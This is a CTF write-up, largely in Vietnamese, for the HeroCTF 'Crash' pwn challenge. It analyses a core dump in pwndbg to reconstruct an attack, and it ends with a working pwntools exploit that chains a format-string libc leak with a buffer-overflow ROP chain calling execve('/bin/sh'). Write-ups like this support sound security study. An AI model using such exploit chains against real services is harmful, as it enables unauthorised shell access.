pwn - Crash

I have received a crash report from my server service and I lost my access to the server. The initial analysis suggests a failed binary exploitation attempt caused the crash. Help me to get access back to my server. The Dockerfile will give you an environment identical to the server, you need to use it to analyze the core dump of the exploited process and to reproduce the exploit.

December 1, 2025 November 29, 2025 Medium
Author Author Hung Nguyen Tuong

Setup

Trước hết mình build docker để lấy libc:

ngtuonghung@ubuntu:~/ctfs/heroctfv7/crash_players$ docker build -t crash .
[+] Building 44.9s (7/7) FINISHED
ngtuonghung@ubuntu:~/ctfs/heroctfv7/crash_players$ gdb --core=core
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x559a70f14000     0x559a70f15000 r--p     1000       0 /home/user/chall/bin
    0x559a70f15000     0x559a70f16000 r-xp     1000    1000 /home/user/chall/bin
    0x559a70f16000     0x559a70f17000 r--p     1000    2000 /home/user/chall/bin
    0x559a70f17000     0x559a70f18000 r--p     1000    2000 /home/user/chall/bin
    0x559a70f18000     0x559a70f19000 ---p     1000    3000 /home/user/chall/bin
    0x7fe92c784000     0x7fe92c787000 ---p     3000       0 load6
    0x7fe92c787000     0x7fe92c7ad000 r--p    26000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fe92c7ad000     0x7fe92c903000 r-xp   156000   26000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fe92c903000     0x7fe92c956000 r--p    53000  17c000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fe92c956000     0x7fe92c95a000 r--p     4000  1cf000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7fe92c95a000     0x7fe92c95c000 ---p     2000  1d3000 /usr/lib/x86_64-linux-gnu/libc.so.6
ngtuonghung@ubuntu:~/ctfs/heroctfv7/crash_players$ docker run --rm -it crash
root@025fab640219:/#
ngtuonghung@ubuntu:~/ctfs/heroctfv7/crash_players$ docker cp 199862a475f9:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 1.93MB to /home/ngtuonghung/ctfs/heroctfv7/crash_players/.

Recon

Đầu tiên mình nhìn vào output của lệnh strings core và thấy một vài cái đặc biệt:

ngtuonghung@ubuntu:~/ctfs/heroctfv7/crash_players$ strings core
CORE
AAAAAAAA
@Gx,
CORE
/home/user/chall/bin 
IGISCORE
CORE
ELIFCORE
/home/user/chall/bin
/home/user/chall/bin
/home/user/chall/bin
/home/user/chall/bin
/home/user/chall/bin
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
CORE
%4$p.%7$p.%19$p <----------------------------------------------------------------------
////////////////
LINUX
%4$p.%7$p.%19$p <----------------------------------------------------------------------
////////////////
TUUU
/lib64/ld-linux-x86-64.so.2
mgUa
fgets
setvbuf
stdin
puts
stdout
strcspn
__libc_start_main
__cxa_finalize
printf
libc.so.6
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
Description : 
Name : 
...
...
...
%4$p
p.%1
0x1.0x7ffe59ca1160.0x7fe92c7ae24a <----------------------------------------------------------------------
Psx,
/lib/x86qE
%4$p.%7$p.%19$p <----------------------------------------------------------------------
////////////////
__libc_early_`
@Gx,
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <----------------------------------------------------------------------
z$)A
azO5
x86_64
...
...
...

Có vẻ như attacker đã sử dụng format string bug %4$p.%7$p.%19$p để leak ra 3 giá trị trên stack 0x1.0x7ffe59ca1160.0x7fe92c7ae24a. 0x7ffe59ca1160 có thể là địa chỉ stack, 0x7fe92c7ae24a có thể là địa chỉ libc. Bên cạnh đó còn có payload 48 byte A, có vẻ được sử dụng để padding khi buffer overflow.

Mình tiếp tục phân tích bằng pwndbg, đầu tiên là các registers:

pwndbg> reg
 RAX  0x7ffe59ca1130 ◂— 0x4141414141414141 ('AAAAAAAA')
 RBX  0x7ffe59ca12b8 —▸ 0x7ffe59ca2ea5 ◂— '/home/user/chall/bin'
 RCX  0x7fe92c95aa80 ◂— 0xfbad208b
 RDX  1
 RDI  0x7fe92c95ca20 ◂— 0
 RSI  1
 R8   0
 R9   0
 R10  0x7fe92c7942c8 ◂— 0x1a
 R11  0x246
 R12  0
 R13  0x7ffe59ca12c8 —▸ 0x7ffe59ca2eba ◂— 'HOSTNAME=c79e71b83ca9'
 R14  0x559a70f17dd8 —▸ 0x559a70f15140 ◂— add byte ptr [rax], al
 R15  0x7fe92c9a0020 —▸ 0x7fe92c9a12e0 —▸ 0x559a70f14000 ◂— 0x10102464c457f
 RBP  0x4141414141414141 ('AAAAAAAA')
 RSP  0x7ffe59ca1158 ◂— 0x4141414141414141 ('AAAAAAAA')
 RIP  0x559a70f151b7 ◂— add byte ptr [rax], al

rbp thì đang là AAAAAAA, rax và rsp thì đang trỏ tới AAAAAAAA. Vậy có thể attacker đã ghi đè qua rbp và lệnh leave (trong đó có pop rbp) đã đặt AAAAAAA vào rbp. Nhìn vào backtrace, mình thấy rằng return address cũng đã bị ghi đè:

pwndbg> bt
#0  0x0000559a70f151b7 in ?? ()
#1  0x4141414141414141 in ?? () <----
#2  0x00007fe92c7ae7e5 in ?? ()
#3  0x00007fe92c91e031 in ?? ()
#4  0x00007fe92c7d3490 in ?? ()
#5  0x0000000000000000 in ?? ()

rip đang thực thi lệnh tại 0x559a70f151b7, là lệnh trong binary:

wndbg> vmmap 0x0000559a70f151b7
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x559a70f14000     0x559a70f15000 r--p     1000       0 /home/user/chall/bin
►   0x559a70f15000     0x559a70f16000 r-xp     1000    1000 /home/user/chall/bin +0x1b7
    0x559a70f16000     0x559a70f17000 r--p     1000    2000 /home/user/chall/bin

Mình tiếp tục quan sát stack, vì đã leave (có mov rsp, rbp) nên mình sẽ phải quan sát ở các địa chỉ thấp hơn rsp:

pwndbg> tele rsp-0x80 30
00:0000│     0x7ffe59ca10d8 —▸ 0x7fe92c7fe1ae ◂— lea edx, [r14 - 0x20]
01:0008│     0x7ffe59ca10e0 ◂— 0x12c9a0020 /* ' ' */
02:0010│     0x7ffe59ca10e8 ◂— 0
03:0018│     0x7ffe59ca10f0 —▸ 0x7ffe59ca12b8 —▸ 0x7ffe59ca2ea5 ◂— '/home/user/chall/bin'
04:0020│     0x7ffe59ca10f8 —▸ 0x7ffe59ca12b8 —▸ 0x7ffe59ca2ea5 ◂— '/home/user/chall/bin'
05:0028│     0x7ffe59ca1100 —▸ 0x7ffe59ca1150 ◂— 0x4141414141414141 ('AAAAAAAA')
06:0030│     0x7ffe59ca1108 ◂— 0
07:0038│     0x7ffe59ca1110 —▸ 0x7ffe59ca12c8 —▸ 0x7ffe59ca2eba ◂— 'HOSTNAME=c79e71b83ca9'
08:0040│     0x7ffe59ca1118 —▸ 0x559a70f151b5 ◂— add byte ptr [rax], al
09:0048│     0x7ffe59ca1120 —▸ 0x7ffe59ca12b8 —▸ 0x7ffe59ca2ea5 ◂— '/home/user/chall/bin'
0a:0050│     0x7ffe59ca1128 —▸ 0x7ffe59ca1160 —▸ 0x7fe92c7ae7e5 ◂— add byte ptr [rax], al
0b:0058│ rax 0x7ffe59ca1130 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓        4 skipped
10:0080│ rsp 0x7ffe59ca1158 ◂— 0x4141414141414141 ('AAAAAAAA')
11:0088│     0x7ffe59ca1160 —▸ 0x7fe92c7ae7e5 ◂— add byte ptr [rax], al
12:0090│     0x7ffe59ca1168 —▸ 0x7fe92c91e031 ◂— 0x7685c50e76fdc507
13:0098│     0x7ffe59ca1170 —▸ 0x7fe92c7d3490 ◂— add byte ptr [rax], al
14:00a0│     0x7ffe59ca1178 ◂— 0
15:00a8│     0x7ffe59ca1180 ◂— 0
16:00b0│     0x7ffe59ca1188 —▸ 0x7fe92c988f70 ◂— iretd 
17:00b8│     0x7ffe59ca1190 ◂— 0
18:00c0│     0x7ffe59ca1198 —▸ 0x7fe92c9a0ad0 —▸ 0x7fe92c96d000 ◂— 0x3010102464c457f
19:00c8│     0x7ffe59ca11a0 ◂— 1
1a:00d0│     0x7ffe59ca11a8 —▸ 0x7fe92c7ae24a ◂— and byte ptr [rax], al /* ' ' */
1b:00d8│     0x7ffe59ca11b0 —▸ 0x7ffe59ca12a0 —▸ 0x7ffe59ca12a8 ◂— 0x38 /* '8' */
1c:00e0│     0x7ffe59ca11b8 —▸ 0x559a70f151d8 ◂— add byte ptr [rax], al
1d:00e8│     0x7ffe59ca11c0 ◂— 0x170f14040

Có vẻ đây là giai đoạn sau khi attacker đã leak được dữ liệu bằng format string bug, attacker đang cố gắng ghi đè return address để làm gì đó. Mình thấy rằng rax đang trỏ đến đầu của payload, kết thúc tại vị trí của rsp. Vậy return address chắc hẳn phải nằm trong khoảng này thì mới bị ghi đè. Mình kết luận rằng chương trình bị crash khi đang dereference địa chỉ 0x4141414141414141 để return về đó.

Solve

Vì attacker đã leak được 3 giá trị này trên stack 0x1.0x7ffe59ca1160.0x7fe92c7ae24a, mình đoán 0x7fe92c7ae24a là return address ở stack frame trước đó, nằm tại vị trí %19$p:

19:00c8│     0x7ffe59ca11a0 ◂— 1
1a:00d0│     0x7ffe59ca11a8 —▸ 0x7fe92c7ae24a ◂— and byte ptr [rax], al /* ' ' */

Vậy thì mình suy luận ra được exploit của attacker như sau: format string bug bằng Name để leak địa chỉ libc, sau đó buffer overflow Description để ghi đè return address.

Script

#!/usr/bin/env python3

from pwn import *

libc = ELF('./libc.so.6')
context.arch = 'amd64'

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rn = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

def conn():
    host = "dyn01.heroctf.fr"
    port = 13516
    return remote(host, port)

p = conn()

pl = b'%19$p'

sla(p, b'Name :', pl)

ru(p, b'0x')
libc.address = int(rn(p, 12), 16) - 0x2724a
print(f'libc base: {hex(libc.address)}')

pl = flat(
    b'A' * 40,
    libc.address + 0x26e99, # stack alignment vì rsp đang ở 0x7ffe59ca1158
    libc.address + 0x277e5, # pop rdi; ret
    next(libc.search(b'/bin/sh')),
    libc.address + 0x28f99, # pop rsi; ret
    0,
    libc.address + 0xfdefd, # pop rdx; ret
    0,
    libc.address + 0x3f197, # pop rax; ret
    0x3b, # execve
    libc.address + 0x26428 # syscall
)

sa(p, b'Description :', pl)

ia(p)